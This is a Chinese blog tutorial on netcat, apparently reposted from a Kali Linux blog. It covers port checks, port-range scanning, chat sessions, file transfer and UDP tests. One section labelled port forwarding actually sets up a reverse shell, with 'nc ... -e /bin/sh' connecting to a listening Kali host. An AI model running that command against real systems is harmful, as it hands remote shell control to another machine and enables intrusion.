ITPub博客

首页 > 数据库 > 数据库开发技术 > ?Netcat(瑞士军刀)你想知道的都在这里

?Netcat(瑞士军刀)你想知道的都在这里

原创 数据库开发技术 作者:逍遥子 时间:2022-04-30 08:00:00 0 删除 编辑

Netcat号称 TCP/IP 的瑞士军刀,并非浪得虚名。因其以体积小(可执行 200KB)功能灵活而著名。在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具做一些很有用的事情。

🥇端口测试

假设你在服务器 A主机(192.168.123.2) 上面 8080 端口启动了一个服务,但是发现 B 主机无法访问,你先跑到 A 主机上用 netstat -an 看了一下,服务启动成功了,那么到底是服务错误还是网络无法到达呢?我们当然可以在 B 主机上用 telnet 探测一下:

telnet 192.168.123.2 8080

但 telnet 还需要额外安装,而 netcat 基本自带,所以我们在 B 主机上:

nc -vz 192.168.123.2 8080

v 的意思是显示多点信息(verbose)

z 的意思是不发送数据。

如果 B主机连不上 A 主机的 8080 端口,此时你就该检查网络和安全设置了,如果连的上那么再去查服务日志去。

nc 命令后面的 8080 可以写成一个范围进行扫描:

nc -v -v -w3 -z 192.168.123.2 8080-8083

两次 -v 是让它报告更详细的内容

-w3 是设置扫描超时时间为 3 秒。

🪀传输文件和会话

如何利用nc实现两台电脑或者多台之间,传输文件或者会话呢?首先我们在A主机上面监听端口。

nc -l -p 8080

这样就监听了 8080 端口,然后在 B 主机上连接过去:

nc 192.168.123.2 8080

这样两边就可以会话了,随便输入点什么按回车,另外一边应该会显示出来,

结束时按CTRL+C 结束,不管是服务端还是客户端只要任意一边断开了,另一端也就结束了。

📃传输文件

服务器端(接收端)

nc  -l  5555 > bbskali.txt

发送端

nc  192.168.123.2 5555 < send.txt

🧮端口转发

在kali中监听 5555 端口

nc -lvp 5555

在百度云服务器中执行

nc 192.168.123.33 5555 -e /bin/sh

需要注意的是,因为服务器和kali不在同一网段。我在实际操作中用的是映射后的IP和端口。如果你的环境在同一网端,直接执行上面命令即可。

📚UDP 会话

两台主机 UDP 数据发送不过去,问题在哪呢?在 A 主机上:

nc -u -l -p 8080

监听 udp 的8080 端口,然后B 主机上连上去:

nc -u 192.168.123.2 8080

看看一边输入消息另外一边能否收到,以此来对网络进行诊断。

⚙后 记

netcat 以方便的命令行的操作方式,对 tcp/udp数据进行原始的:监听、连接、数据传输等工作。然后搭配管道,实现灵活多样的功能,或者进行各种网络测试。上面几个例子,并不是说明netcat 仅限于此,在工作中还有很多实用的功能,尽情的去发挥吧。

更多精彩文章 关注我们

点分享

点收藏

点点赞

点在看

原文作者:Kali笔记;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444347